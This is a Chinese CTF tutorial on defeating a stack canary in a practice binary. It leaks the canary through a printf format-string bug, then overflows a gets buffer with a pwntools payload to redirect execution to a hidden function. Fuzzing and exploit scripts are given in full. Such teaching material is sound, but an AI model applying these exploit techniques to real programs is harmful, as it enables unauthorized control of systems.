PWN入门(10)绕过程序堆栈Canary防护
简介
“pwn"这个词的源起以及它被广泛地普遍使用的原因,源自于魔兽争霸某段讯息上设计师打字时拼错而造成的,原先的字词应该是"own"这个字,因为 ‘p’ 与 ‘o’ 在标准英文键盘上的位置是相邻的,PWN 也是一个黑客语法的俚语词,是指攻破设备或者系统。发音类似"砰”,对黑客而言,这就是成功实施黑客攻击的声音,而在ctf比赛里,pwn是对二进制漏洞的利用
下载这个github库,进入10文件夹
https://github.com/Crypto-Cat/CTF/tree/main/pwn/binary_exploitation_101
获取文件信息
使用checksec工具可以查看程序更详细的信息
从上到下依次是:
32位程序
部分RELRO,基本上所有程序都默认的有这个
开启了栈保护
启用了数据执行防护,我们不能在堆栈中执行代码
没有启用pie防护
Canary是为了避免程序缓冲区溢出的一个保护机制,他会在堆栈中插入一个值,当函数返回时,程序会检查值是否被更改,用来确定程序是否发生了缓冲区溢出
查看程序源代码
#include <stdio.h>
#include <string.h>
void hacked() { //自定义hacked模块
puts("Wait, how did you get in here?!"); //输出内容
}
void vuln() { //自定义vuln模块
char buffer[64]; //定义buffer变量,缓冲区为64个字符
puts("You'll never beat my state of the art stack protector!"); //输出内容
gets(buffer); //获取我们的输入
printf(buffer); //输出我们的输入
puts("\nWho said gets() is dangerous? Good luck with your BOF attack :P"); //输出字符
gets(buffer); //再次获取输入
}
int main() {
vuln(); //调用vuln模块
}
我们需要让程序执行hacked模块的内容,就要控制程序的返回地址,然后我们用ghidra打开程序,去到main函数的地方
这里就是canary的代码,如果canary值改变了,就会触发防护
fuzz
因为程序执行了printf函数,我们可以写一个小脚本,让程序泄露堆栈中的值
from pwn import *
elf = context.binary = ELF('./canary', checksec=False) //获取程序详细信息
for i in range(100): //测试100个地址
try:
p = process(level='error') //创建进程
p.sendline('%{}$p'.format(i).encode()) //发送指定的字符串,将第n个指针打印为字符串
p.recvline() //接收程序输出
result = p.recvline().decode()
if result: //如果堆栈中的值不为空就输出
print(str(i) + ': ' + str(result).strip())
except EOFError:
pass
多运行几次脚本,可以看到这里泄露的很多值
动态调试
使用gdb打开程序,然后查看程序里调用的函数
info functions
然后查看vuln函数的汇编代码
disassemble vuln
我们在调用printf函数的地方下一个断点,然后运行程序
b *0x0804921f
run
输入canary查看canary的偏移量
然后我们看看堆栈里的值
x/100x $esp
从第一个开始,canary的偏移量在第24个,但是偏移量是从0开始的,所以在第23个,重新运行刚刚那个fuzz脚本
堆栈中第23个就是canary的值,我们保证让他不变即可
pwntools
通过ghidra分析程序可以知道,buffer的缓冲区是64个字符
在汇编界面,我们可以看到buffer的缓冲区区间,是64个字符,但是这里的栈有-0x50的空间,我们转换一下
也就是我们要覆盖到程序的返回地址,buffer已知的缓冲区区间64+canary的值4+12个垃圾字符=80
64 + 4 + 12 = 80
垃圾字符 + canary + 垃圾字符 + hacked函数地址
然后我们就可以开始写脚本了
from pwn import *
exe = './canary'
elf = context.binary = ELF(exe, checksec=False) //自动获取程序的详细信息
io = process("./canary") //启动程序
offset = 64 //buffer函数的缓冲区区间
io.sendlineafter(b'!', '%{}$p'.format(23).encode()) //获取我们刚刚fuzz泄露的第23个canary的值
io.recvline() //获取程序输出
canary = int(io.recvline().strip(), 16) //将泄露的地址以整数形式存入canary变量中
payload = flat([
offset * b'A', //buffer函数的缓冲区区间
canary, //canary的值
12 * b'A', //覆盖到返回指针
elf.symbols.hacked //跳转到hacked函数地址
])
io.sendlineafter(b':P', payload) //当程序输出:P时发送payload
io.interactive() //获取交互
运行脚本,成功破解程序
相关文章
- 微信小程序 - 弹出层组件
- C语言编程入门——程序练习(上)
- Win7 默认.lnk打开方式全是别的程序 还原的办法
- 微信小程序端在函数组件中使用 mobx 注入 store 失败
- C#【必备技能篇】程序集间的引用
- 【08】ELF和静态链接:为什么程序无法同时在Linux和Windows下运行?
- 《微信小程序:开发入门及案例详解》—— 2.5 模块化
- 《循序渐进学Spark》一2.2 Spark程序模型
- CSDN日报20170711——《离开校园,入职阿里,开启新的程序人生》
- 认识WebStorm-小程序框架wepy
- 全栈开发工程师微信小程序-上(下)
- 小程序加密请求
- 《ASP.NET 开发从入门到精通》----2.3 编译和部署ASP.NET程序
- 《C语言开发从入门到精通》一2.2 在Windows环境下开发C程序
- 《C++入门经典(第6版)》——第2章 程序的组成部分2.1 使用C++的原因
- 《微信小程序开发入门精要》——第1章,第1.1节什么是微信小程序
- 《Java 开发从入门到精通》—— 第2章 第一段Java程序 2.1 搭建Java开发平台
- Hadoop入门程序WordCount的执行过程
- 微信小程序自定义组件的坑之 hidden、boolean 属性和花括号
- 微信小程序入门(四)
- 微信小程序入门(三)
- 微信小程序入门(二)
- 微信小程序开发入门与实战(小程序与前端开发的区别)
- 微信小程序开发入门与实战(初始微信小程序)
- Shiro框架:授权流程、授权方式、Shiro授权入门程序、自定义Realm进行授权
- QQ空间定时留言程序。
- [Spark][Python]PageRank 程序
- eclipse 执行MapReduce程序错误异常汇总(解决Map not fount)
- Java RMI之HelloWorld程序以及相关的安全管理器的知识
- 网购心脏起搏器存在多达8000个程序漏洞
- 微信小程序学习第1天:微信小程序开发入门介绍
- 微信小程序 事件